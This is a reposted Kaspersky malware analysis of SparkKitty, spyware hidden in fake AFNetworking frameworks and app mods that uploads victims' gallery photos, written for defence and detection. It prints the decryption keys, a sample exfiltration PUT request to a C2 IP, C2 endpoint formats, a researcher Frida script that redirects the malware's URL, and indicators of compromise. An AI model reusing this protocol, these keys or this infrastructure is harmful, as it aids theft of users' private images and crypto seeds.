# The new SparkKitty Trojan spy in the App Store and Google Play Source: https://securelist.com/sparkkitty-ios-android-malware/116793 Kiwi News: https://news.kiwistand.com/stories/The-new-SparkKitty-Trojan-spy-in-the-App-Store-and-Google-Play?index=0x685a5967832354cd60ecb7bd19fa0a58da5730e5b7b2c19c3b434be61bece8cddbdab678 Submitted by misha on 2025-06-24 UTC, 7 upvotes, 1 comment ## Summary Kaspersky researchers report a new spyware Trojan, which they believe is connected to the earlier SparkCat campaign, that has reached the official App Store and Google Play and targets victims' cryptocurrency assets. The malware was found in modified TikTok apps and in a fake App Store page distributing iOS apps through Apple Enterprise provisioning profiles. The iOS version disguises a malicious module as AFNetworking.framework and, after gaining access to the photo gallery, uploads images to command-and-control servers, with a subset using OCR to select images of interest. The campaign has been active since at least February 2024, and Apple removed the malicious app from the App Store on 25.06.2025. ## Article Update 25.06.2025: Apple removed the malicious app from the App Store. In January 2025, we uncovered the SparkCat spyware campaign, which was aimed at gaining access to victims’ crypto wallets. The threat actor distributed apps containing a malicious SDK/framework. This component would wait for a user to open a specific screen (typically a support chat), then request access to the device’s gallery. It would then use an OCR model to select and exfiltrate images of interest. Although SparkCat was capable of searching for any text within images, that campaign specifically targeted photos containing seed phrases for crypto wallets. The malware was distributed through unofficial sources as well as Google Play and App Store. Now, we’ve once again come across a new type of spyware that has managed to infiltrate the official app stores. We believe it is connected to SparkCat and also targets the cryptocurrency assets of its victims. Here are the key facts about this new threat: The malware targets both iOS and Android devices, and it is spreading in the wild as well as through the App Store and Google Play. The app is already removed from the latter. On iOS, the malicious payload is delivered as frameworks (primarily mimicking AFNetworking.framework or Alamofire.framework) or obfuscated libraries disguised as libswiftDarwin.dylib, or it can be embedded directly into the app itself. The Android-specific Trojan comes in both Java and Kotlin flavors; the Kotlin version is a malicious Xposed module. While most versions of this malware indiscriminately steal all images, we discovered a related malicious activity cluster that uses OCR to pick specific pictures. The campaign has been active since at least February 2024. It all began with a suspicious online store… During routine monitoring of suspicious links, we stumbled upon several similar-looking pages that were distributing TikTok mods for Android. In these modified versions, the app’s main activities would trigger additional code. The code would then request a Base64-encoded configuration file from hxxps://moabc[.]vip/?dev=az. A sample decoded configuration file is shown below. { "links": { "shopCenter": "https://h1997.tiktokapp.club/wap/?", "goodsList": "https://h1997.tiktokapp.club/www/?", "orderList": "https://h1997.tiktokapp.club/www/?", "reg": "https://www.baidu.com", "footbar": "https://www.baidu.com" } } The links from the configuration file were displayed as buttons within the app. Tapping these opened WebView, revealing an online store named TikToki Mall that accepted cryptocurrency as payment for consumer goods. Unfortunately, we couldn’t verify if it was a legitimate store, as users had to register with an invitation code to make a purchase. Although we didn’t find any other suspicious functionality within the apps, a gut feeling told us to dig deeper. We decided to examine the code of the web pages distributing the apps, only to find a number of interesting details suggesting they might also be pushing iOS apps.
{{if ext=="ipa"}} {{else}} {{/if}} iOS app delivery method And sure enough, visiting the website on an iPhone triggers a series of redirects, ultimately landing the user on a page that crudely mimics the App Store and prompts them to download an app. iOS app download page As you know, iOS doesn’t just let you download and run any app from a third-party source. However, Apple provides members of the Apple Developer Program with so-called provisioning profiles. These allow a developer certificate to be installed on a user device. iOS then uses this certificate to verify the app’s digital signature and determine if it can be launched. Besides the certificate, a provisioning profile contains its expiration date and the permissions to be granted to the app, as well as other information about the developer and the app. Once the profile is installed on a device, the certificate becomes trusted, allowing the app to run. Provisioning profiles come in several types. Development profiles are used for testing apps and can only be distributed to a predefined set of devices. App Store Connect profiles allow for publishing an app to the App Store. Enterprise profiles were created to allow organizations to develop internal-use apps and install them on their employees’ devices without publishing them on the App Store and without any restrictions on which devices they can be installed on. Although the Apple Developer Program requires a paid membership and developer verification by Apple, Enterprise profiles are often exploited. They are used not only by developers of apps unsuitable for the App Store (online casinos, cracks, cheats, or illegal mods of popular apps) but also by malware creators. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 AppIDName rdcUniApp ApplicationIdentifierPrefix EHQ3N2D5WH CreationDate 2025-01-20T06:59:55Z Platform iOS xrOS visionOS IsXcodeManaged DeveloperCertificates OMITTED DER-Encoded-Profile OMITTED Entitlements application-identifier EHQ3N2D5WH.com.ss-tpc.rd.rdcUniApp keychain-access-groups EHQ3N2D5WH.* com.apple.token get-task-allow com.apple.developer.team-identifier EHQ3N2D5WH ExpirationDate 2026-01-20T06:59:55Z Name syf ProvisionsAllDevices TeamIdentifier EHQ3N2D5WH TeamName SINOPEC SABIC Tianjin Petrochemical Co. Ltd. TimeToLive 365 UUID 55b65f87-9102-4cb9-934a-342dd2be8e25 Version 1 Example of a provisioning profile installed to run a malicious TikTok mod In the case of the malicious TikTok mods, the attackers used an Enterprise profile, as indicated by the following key in its body: ProvisionsAllDevices It’s worth noting that installing any provisioning profile requires direct user interaction, which looks like this: Profile installation flow Looking for copper, found gold Just like its Android counterpart, the installed iOS app contained a library that embedded links to a suspicious store within the user’s profile window. Tapping these opened them in WebView. Suspicious store opened inside a TikTok app It seemed like a straightforward case: another mod of a popular app trying to make some money. However, one strange detail in the iOS version caught our attention. On every launch, the app requested access to the user’s photo gallery – highly unusual behavior for the original TikTok. Furthermore, the library containing the store didn’t have code accessing the photo gallery, and the Android version never requested image permissions. We were compelled to dig a little deeper and examine the app’s other dependencies. This led to the discovery of a malicious module pretending to be AFNetworking.framework. For a touch of foreshadowing, let’s spotlight a curious detail: certain apps referred to it as Alamofire.framework, but the code itself stayed exactly the same. The original version of AFNetworking is an open-source library that provides developers with a set of interfaces for convenient network operations. The malicious version differs from the original by a modified AFImageDownloader class and an added AFImageDownloaderTool class. Interestingly, the authors didn’t create separate initialization functions or alter the library’s exported symbols to launch the malicious payload. Instead, they took advantage of a feature in Objective-C that allows classes to define a special load selector, which is automatically called when the app is loading. In this case, the entry point for the malicious payload was the +[AFImageDownloader load] selector, which does not exist in the original framework. Malicious class entry point The malicious payload functions as follows: It checks if the value of the ccool key in the app’s main Info.plist configuration file matches the string 77e1a4d360e17fdbc. If the two differ, the malicious payload will not proceed. It retrieves the Base64-encoded value of the ccc key from the framework’s Info.plist file. This value is decoded and then decrypted using AES-256 in ECB mode with the key p0^tWut=pswHL-x>>:m?^.^)W padded with nulls to reach a length of 32 bytes. Some samples were also observed using the key J9^tMnt=ptfHL-x>>:m!^.^)A. If there’s no ccc key in the configuration or the key’s value is empty, the malware attempts to use the key com.tt.cf to retrieve an encrypted string from UserDefaults – a database where the app can store information for use in subsequent launches. The decrypted value is a list of URLs from which the malware fetches additional payloads, encrypted using the same method. This new ciphertext contains a set of C2 addresses used for exfiltrating stolen photos. The final step before uploading the photos is to receive authorization from the C2 server. To do this, the malware sends a GET request to the /api/getImageStatus endpoint, transmitting app details and the user’s UUID. The server responds with the following JSON: {"msg":"success","code":0,"status":"1"} The code field tells the app whether to repeat the request after a delay, with 0 meaning no, and the status field indicates whether it has permission to upload the photos. Next, the malware requests access to the user’s photo gallery. It then registers a callback function to monitor for any changes within the gallery. The malware exfiltrates any accessible photos that have not already been uploaded. To keep track of which photos have been stolen, it creates a local database. If the gallery is modified while the app is running, the malware will attempt to access and upload the new images to the C2 server. Photo exfiltration and upload Data transmission is performed directly within the selector [AFImageDownloader receiptID:andPicID:] by making a PUT request to the /api/putImages endpoint. In addition to the image itself, information about the app and the device, along with unique user identifiers, is also sent to the server. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 PUT /api/putImages HTTP/1.1 Host: 23.249.28.88:7777 Content-Type: multipart/form-data; boundary=Boundary+C9D8BE3781515E01 Connection: keep-alive Accept: */* User-Agent: TikTok/31.4.0 (iPhone; iOS 14.8; Scale/3.00) Accept-Language: en-US;q=1, ja-US;q=0.9, ar-US;q=0.8, ru-US;q=0.7 Content-Length: 80089 Accept-Encoding: gzip, deflate --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="appname" TikTok --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="buid" com.zhiliaoapp.musically --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="device" ios --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="userId" xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="uuid" xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Lx/xxx --Boundary+C9D8BE3781515E01 Content-Disposition: form-data; name="image"; filename="" Content-Type: image/jpeg ......JFIF.....H.H.....LExif..MM.*...................i.........&.................e.......... ........8Photoshop 3.0.8BIM........8BIM.%................ ...B~...4ICC_PROFILE......$appl....mntrRGB XYZ ....... Digging deeper When we found a spyware component in the modified iOS version of TikTok, we immediately wondered if the Trojan had an Android counterpart. Our initial search led us to a bunch of cryptocurrency apps. These apps had malicious code embedded in their entry points. It requests a configuration file with C2 addresses and then decrypts it using AES-256 in ECB mode. These decrypted addresses are then used by the Trojan to send a GET request to /api/anheartbeat. The request includes information about the infected app. The Trojan expects a JSON response. If the code field is 0, it means communication with that C2 is allowed. The status flag in the JSON determines whether the Trojan can send the victim’s images to the server. Checking C2 addresses The main functionality of this malware – stealing images from the gallery – works in two stages. First, the malware checks the status flag. If it’s set to allow file uploads, the Trojan then checks the contents of a file named aray/cache/devices/.DEVICES on external storage. The first time it runs, the Trojan writes a hexadecimal number to this file. The number is an MD5 hash of a string containing the infected device’s IMEI, MAC address, and a random UUID. The content of this file is then compared to the string B0B5C3215E6D. If the content is different, the Trojan uploads images from the gallery, along with infected device info, to the command server via a PUT request to /api/putDataInfo. If the content is the same, it only uploads the third image from the end of an alphabetically sorted list. It’s highly likely the attackers use this specific functionality for debugging their malicious code. Uploading image and device information Later, we discovered other versions of this Trojan embedded in casino apps. These were loaded using the LSPosed framework, which is designed for app code hooking. Essentially, these Trojan versions acted as malicious Xposed modules. They would hook app entry points and execute code similar to the malware we described earlier, but with a few interesting twists: The C2 address storage was located in both the module’s resources and directly within the malware code. Typically, these were two different addresses, and both were used to obtain C2 information. Procedure for obtaining C2 addresses Among the decrypted C2 addresses, the Trojan picks the one corresponding to the fastest server. It does this by sending a request to each server sequentially. If the request is successful, it records the response time. The shortest time then determines which C2 server is used. Note that this algorithm could have been implemented without needing to store intermediate values. Finding the shortest response time The code uses custom names for classes, methods, and fields. It is written in Kotlin. Other versions we found were written in Java. Spyware in official app stores One of the Android Java apps containing a malicious payload was a messaging app with crypto exchange features. This app was uploaded to Google Play and installed over 10,000 times. It was still available in the store at the time of this research. We notified Google about it, and they removed the app from the store. Infected app on Google Play Another infected Android app we discovered is named 币coin and distributed through unofficial sources. However, it also has an iOS version. We found it on the App Store and alerted Apple to the presence of the infected app in their store. Infected app page on the App Store In both the Android and iOS versions, the malicious payload was part of the app itself, not of a third-party SDK or framework. In the iOS version, the central AppDelegate class, which manages the app’s lifecycle, registers its selector [AppDelegate requestSuccess:] as a handler for responses returned by requests sent to i.bicoin[.]com[.]cn. Checking the server response and sending a photo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 { code = 0; data = { 27 = ( ); 50002 = ( { appVersion = ""; cTime = 1696304011000; id = 491; imgSubTitle = ""; imgTitle = "\U70ed\U5f00\U5173\Uff08\U65b0\Uff09"; imgType = 50002; imgUrl = 0; imgUrlSub = ""; isFullScreen = 0; isNeed = 1; isSkip = 1; langType = all; operator = 0; skipUrl = ""; sort = 10000; source = 0; type = 0; uTime = ; } ); }; dialog = { cancelAndClose = 0; cancelBtn = ""; cancelColor = ""; code = 0; confirmBtn = ""; confirmColor = ""; content = ""; contentColor = ""; time = ""; title = OK; titleColor = ""; type = 3; url = ""; }; Sample server response In the response, the imgUrl field contains information about the permission to send photos (1 means granted). Once the Trojan gets the green light, it uses a similar method to what we described earlier: it downloads an encrypted set of C2 addresses and tries sending the images to one of them. By default, it’ll hit the first address on the list. If that one’s down, the malware just moves on to the next. The photo-sending functionality is implemented within the KYDeviceActionManager class. Retrieving and sending photos Suspicious libcrypto.dylib mod During our investigation, we also stumbled upon samples that contained another suspicious library: a modified version of OpenSSL’s cryptographic primitives library, libcrypto.dylib. It showed up under names like wc.dylib and libswiftDarwin.dylib, had initialization functions that were obfuscated with LLVM, and contained a link to a configuration we’d seen before in other malicious frameworks. It also imported the PHPhotoLibrary class, used for gallery access in the files we mentioned earlier. Sometimes the library was delivered alongside the malicious AFNetworking.framework/Alamofire.framework, sometimes not. Unlike other variants of this malware, this particular library didn’t actually reach out to the malicious configuration file link embedded within it. That meant we had to manually dig for the code responsible for its initial communication with the C2. Even though these library samples are heavily obfuscated, some of them, like the sample with the hash c5be3ae482d25c6537e08c888a742832, still had cross-references to the part of the code where the encrypted configuration page URL was used. This function converted a URL string into an NSString object. Section of obfuscated code for loading the malicious URL Using Frida, we can execute any piece of code as a function, but simply converting a string to an NSString object isn’t enough to confirm the library’s malicious intent. So, we followed the cross-references up several levels. When we tried to execute the function that worked with the URL during its execution, we discovered it was making a GET request to the malicious URL. However, we couldn’t get a response right away; the server the URL pointed to was already inactive. To make the function run correctly, we used Frida to substitute the link with a working one, where we knew exactly what data it returned and how it was decrypted. By setting logging hooks on the objc_msgSend call and running the malicious function with a swapped URL, we got the info we needed about the calls. Below is the Frida script we used to do this: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 function traceModule(impl, name) { console.log("Tracing " + name, impl); var exit_log = 0; Interceptor.attach(impl, { onEnter: function(args) { var bt = Thread.backtrace(this.context, Backtracer.ACCURATE); if (!moduleMap) { moduleMap = new ModuleMap(); } var modules = bt.map(x => moduleMap.find(x)).filter(x => x != null).map(x => x.name); // we want to trace only calls originating from malware dylib if (modules.filter(x => x.includes('wc.dylib')).length > 0) { exit_log = 1; console.warn("\n*** entering " + name); if(name.includes('objc_msgSend')) { var sel = this.context.x1.readUtf8String(); if (sel.includes("stringWithCString:")) { var s = this.context.x2.readUtf8String(); if (s.includes('.cn-bj.ufileos.com')) { console.log("Replacing URL: ", s); var news = Memory.allocUtf8String('https://data-sdk2.oss-accelerate.aliyuncs.com/file/SGTMnH951121'); this.context.x2 = news; console.log("New URL: ", this.context.x2.readUtf8String()); } else console.log(s); } } //print backtrace console.log(bt.map(DebugSymbol.fromAddress).join("\n")); } }, onLeave: function(retval) { if (exit_log == 1) { console.warn("\n***extiting ", name); console.log(this.context.x0.readByteArray(64)); } } }); } var malInited = false; var malFunc; function callMalware() { if (!malInited) { malFunc = new NativeFunction(base.add(0x7A77CC), 'void', []); traceModule(base.add(0x821360), 'objc_msgSend'); malInited = true; } malFunc(); } var mname = "wc.dylib"; var base = Process.enumerateModules().filter(x=>x.name.includes(mname))[0].base; console.log('Base address: ', base); callMalware(); Our suspicions were confirmed: the malicious function indeed loads and decrypts the C2 address configuration from a given URL. It then uses this C2 for sending device data, following the same pattern we described earlier and using the same AES-256 key. Below is an excerpt from the function’s execution logs. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 *** entering objc_msgSend ### Creating NSString object with decrypted string [ 0x20193a010 stringWithCString:"http://84.17.37.155:8081" encoding: ] 0x102781be8 wc.dylib!0x7d1be8 (0x7d1be8) 0x1027590e8 wc.dylib!0x7a90e8 (0x7a90e8) *** entering objc_msgSend ### Creating NSString with api endpoint decrypted somewhere in code [ 0x20193a010 stringWithCString:"%@/api/getStatus?buid=%@&appname=%@&userId=%@" encoding: ] 0x10277cc50 wc.dylib!0x7ccc50 (0x7ccc50) 0x102783264 wc.dylib!0x7d3264 (0x7d3264) ### Here sample initiates HTTP request to decrypted C2 address and decrypts its response ### *** entering objc_msgSend ### Getting server response as data object [ 0x2022d5078 initWithData:encoding: ] 0x10277f4a4 wc.dylib!0x7cf4a4 (0x7cf4a4) 0x1afafcac4 CFNetwork!0x1dac4 (0x180a6cac4) *** leaving objc_msgSend ### Server response in bytes 00000000 41 e9 92 01 a2 21 00 00 8c 07 00 00 01 00 00 00 A....!.......... 00000010 2e 7b 22 6d 73 67 22 3a 22 73 75 63 63 65 73 73 .{"msg":"success 00000020 22 2c 22 63 6f 64 65 22 3a 30 2c 22 75 73 22 3a ","code":0,"us": 00000030 31 2c 22 73 74 61 74 75 73 22 3a 22 30 22 7d 00 1,"status":"0"}. The function execution log above clearly shows it uses an IP address from the encrypted configuration file. Device data is sent to this IP’s /api/getStatus endpoint with arguments familiar from previous samples. We also see that the server’s response contains the code and status fields we’ve encountered before. All of this strongly suggests that this library is also involved in stealing user photos. The only thing we haven’t pinpointed yet is the exact conditions under which this malicious function activates. At startup, the library contacts a C2 whose address in encrypted within it, sending device information and expecting a JSON string response from the server. At the time of this research, we hadn’t found any samples with an active C2 address, so we don’t know the precise response it’s looking for. However, we assume that response – or subsequent responses – should contain the permission to start sending photos. Another activity cluster? During our research, we stumbled upon a significant number of pages offering for download various scam iOS apps in the PWA (progressive web app) format. At first glance, these pages seemed unrelated to the campaign we describe in this article. However, their code bore a striking resemblance to the pages distributing the malicious TikTok version, which prompted us to investigate how users were landing on them. While digging into the traffic sources, we uncovered ads for various scams and Ponzi schemes on popular platforms. Scam platform account on YouTube Some of these PWA-containing pages also included a section prompting users to download a mobile app. For Android users, the link downloaded an APK file that opened the scam platform via WebView. App download links Beyond just opening scam websites in WebView, these downloaded APKs had another function. The apps requested access to read storage. Once this was granted, they used the Loader API to register their content download event handler. This handler then selected all JPEG and PNG images. The images were processed using the Google ML Kit library designed for optical character recognition. ML Kit searched for text blocks and then broke them down into lines. If at least three lines containing a word with a minimum of three letters were found, the Trojan would send the image to the attackers’ server – its address was retrieved from Amazon AWS storage. Code snippet for photo uploads We’re moderately confident that this activity cluster is connected to the one described above. Here’s why: The malicious apps also focus on cryptocurrency themes. Similar tactics are employed: the C2 address is also hosted in cloud storage, and gallery content is exfiltrated. The pages distributing iOS PWAs look similar to those used to download malicious TikTok mods. Given this connection between the two activity clusters, we suspect the creators of the apps mentioned earlier might also be spreading them through social media ads. Campaign goals and targets Unlike SparkCat, the spyware we analyzed above doesn’t show direct signs of the attackers being interested in victims’ crypto assets. However, we still believe they’re stealing photos with that exact goal in mind. The following details lead us to these conclusions: A crypto-only store was embedded within the TikTok app alongside the spyware. Among the apps where the spyware was found, several were crypto-themed. For instance, 币coin in the App Store positions itself as a crypto information tracker, and the SOEX messaging app has various crypto-related features as well. The main source for distributing the spyware is a network of cookie-cutter app download platforms. During our investigation, we found a significant number of domains that distributed both the described Trojan and PWAs (progressive web apps). Users were directed to these PWAs from various cryptocurrency scam and Ponzi scheme sites. Our data suggests that the attackers primarily targeted users in Southeast Asia and China. Most of the infected apps we discovered were various Chinese gambling games, TikTok, and adult games. All these apps were originally aimed specifically at users in the regions mentioned above. Furthermore, we believe this malware is linked to the SparkCat campaign, and here’s our reasoning: Some Android apps infected with SparkKitty were built with the same framework as the apps infected with SparkCat. In both campaigns, we found the same infected Android apps. Within the malicious iOS frameworks, we found debug symbols. They included file paths from the attackers’ systems, which pointed to where their projects were being built. These paths match what we previously observed in SparkCat. Takeaways Threat actors are still actively compromising official app stores, and not just for Android – iOS is also a target. The espionage campaign we uncovered uses various distribution methods: it spreads through apps infected with malicious frameworks/SDKs from unofficial sources, as well as through malicious apps directly on the App Store and Google Play. While not technically or conceptually complex, this campaign has been ongoing since at least the beginning of 2024 and poses a significant threat to users. Unlike the previously discovered SparkCat spyware, this malware isn’t picky about which photos it steals from the gallery. Although we suspect the attackers’ main goal is to find screenshots of crypto wallet seed phrases, other sensitive data could also be present in the stolen images. Judging by the distribution sources, this spyware primarily targets users in Southeast Asia and China. However, it doesn’t have any technical limitations that would prevent it from attacking users in other regions. Our security products return the following verdicts when detecting malware associated with this campaign: HEUR:Trojan-Spy.AndroidOS.SparkKitty.* HEUR:Trojan-Spy.IphoneOS.SparkKitty.* Indicators of compromise Infected Android apps b4489cb4fac743246f29abf7f605dd15 e8b60bf5af2d5cc5c501b87d04b8a6c2 aa5ce6fed4f9d888cbf8d6d8d0cda07f 3734e845657c37ee849618e2b4476bf4 fa0e99bac48bc60aa0ae82bc0fd1698d e9f7d9bc988e7569f999f0028b359720 a44cbed18dc5d7fff11406cc403224b9 2dc565c067e60a1a9656b9a5765db11d 66434dd4402dfe7dda81f834c4b70a82 d851b19b5b587f202795e10b72ced6e1 ce49a90c0a098e8737e266471d323626 cc919d4bbd3fb2098d1aeb516f356cca 530a5aa62fdcca7a8b4f60048450da70 0993bae47c6fb3e885f34cb9316717a3 5e15b25f07020a5314f0068b474fff3d 1346f987f6aa1db5e6deb59af8e5744a Infected iOS apps 21ef7a14fee3f64576f5780a637c57d1 6d39cd8421591fbb0cc2a0bce4d0357d c6a7568134622007de026d22257502d5 307a64e335065c00c19e94c1f0a896f2 fe0868c4f40cbb42eb58af121570e64d f9ab4769b63a571107f2709b5b14e2bc 2b43b8c757c872a19a30dcdcff45e4d8 0aa1f8f36980f3dfe8884f1c6f5d6ddc a4cca2431aa35bb68581a4e848804598 e5186be781f870377b6542b3cecfb622 2d2b25279ef9365420acec120b98b3b4 149785056bf16a9c6964c0ea4217b42b 931399987a261df91b21856940479634 Malicious iOS frameworks 8c9a93e829cba8c4607a7265e6988646 b3085cd623b57fd6561e964d6fd73413 44bc648d1c10bc88f9b6ad78d3e3f967 0d7ed6df0e0cd9b5b38712d17857c824 b0eda03d7e4265fe280360397c042494 fd4558a9b629b5abe65a649b57bef20c 1b85522b964b38de67c5d2b670bb30b1 ec068e0fc6ffda97685237d8ab8a0f56 f10a4fdffc884089ae93b0372ff9d5d1 3388b5ea9997328eb48977ab351ca8de 931085b04c0b6e23185025b69563d2ce 7e6324efc3acdb423f8e3b50edd5c5e5 8cfc8081559008585b4e4a23cd4e1a7f Obfuscated malicious iOS libraries 0b7891114d3b322ee863e4eef94d8523 0d09c4f956bb734586cee85887ed5407 2accfc13aaf4fa389149c0a03ce0ee4b 5b2e4ea7ab929c766c9c7359995cdde0 5e47604058722dae03f329a2e6693485 9aeaf9a485a60dc3de0b26b060bc8218 21a257e3b51561e5ff20005ca8f0da65 0752edcf5fd61b0e4a1e01371ba605fd 489217cca81823af56d141c985bb9b2c b0976d46970314532bc118f522bb8a6f f0460bdca0f04d3bd4fc59d73b52233b f0815908bafd88d71db660723b65fba4 6fe6885b8f6606b25178822d7894ac35 Download links for infected apps hxxps://lt.laoqianf14[.]top/KJnn hxxps://lt.laoqianf15[.]top/KJnn hxxps://lt.laoqianf51[.]top/KJnn hxxps://yjhjymfjnj.wyxbmh[.]cn/2kzos8?a45dd02ac=d4f42319a78b6605cabb5696bacb4677 hxxps://xt.xinqianf38[.]top/RnZr Pages distributing Trojans hxxps://accgngrid[.]com hxxps://byteepic[.]vip C2 and configuration storage C2: 23.249.28[.]88 120.79.8[.]107 23.249.28[.]200 47.119.171[.]161 api.fxsdk.com Configurations hxxp://120.78.239[.]17:10011/req.txt hxxp://39.108.186[.]119:10011/req.txt hxxps://dhoss-2023.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh hxxps://sdk-data-re.oss-accelerate.aliyuncs[.]com/JMUCe7txrHnxBr5nj.txt hxxps://gitee[.]com/bbffipa/data-group/raw/master/02WBUfZTUvxrTMGjh7Uh hxxps://ok2025-oss.oss-cn-shenzhen.aliyuncs[.]com/ip/FM4J7aWKeF8yK hxxps://file-ht-2023.oss-cn-shenzhen.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh hxxps://afwfiwjef-mgsdl-2023.oss-cn-shanghai.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh hxxps://zx-afjweiofwe.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh hxxps://dxifjew2.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh hxxps://sdk-data-re.oss-accelerate.aliyuncs[.]com/JMUCe7txrHnxBr5nj.txt hxxps://data-sdk2.oss-accelerate.aliyuncs[.]com/file/SGTMnH951121 hxxps://1111333[.]cn-bj.ufileos[.]com/file/SGTMnH951121 hxxps://tbetter-oss.oss-accelerate.aliyuncs[.]com/ip/CF4J7aWKeF8yKVKu hxxps://photo-php-all.s3[.]ap-southeast-1.amazonaws[.]com/app/domain.json hxxps://c1mon-oss.oss-cn-hongkong.aliyuncs[.]com/J2A3SWc2YASfQ2 hxxps://tbetter-oss.oss-cn-guangzhou.aliyuncs[.]com/ip/JZ24J7aYCeNGyKVF2 hxxps://data-sdk.oss-accelerate.aliyuncs[.]com/file/SGTMnH951121 Paths /sdcard/aray/cache/devices/.DEVICES ## Comments **misha**: and it wants your seed phrase screenshots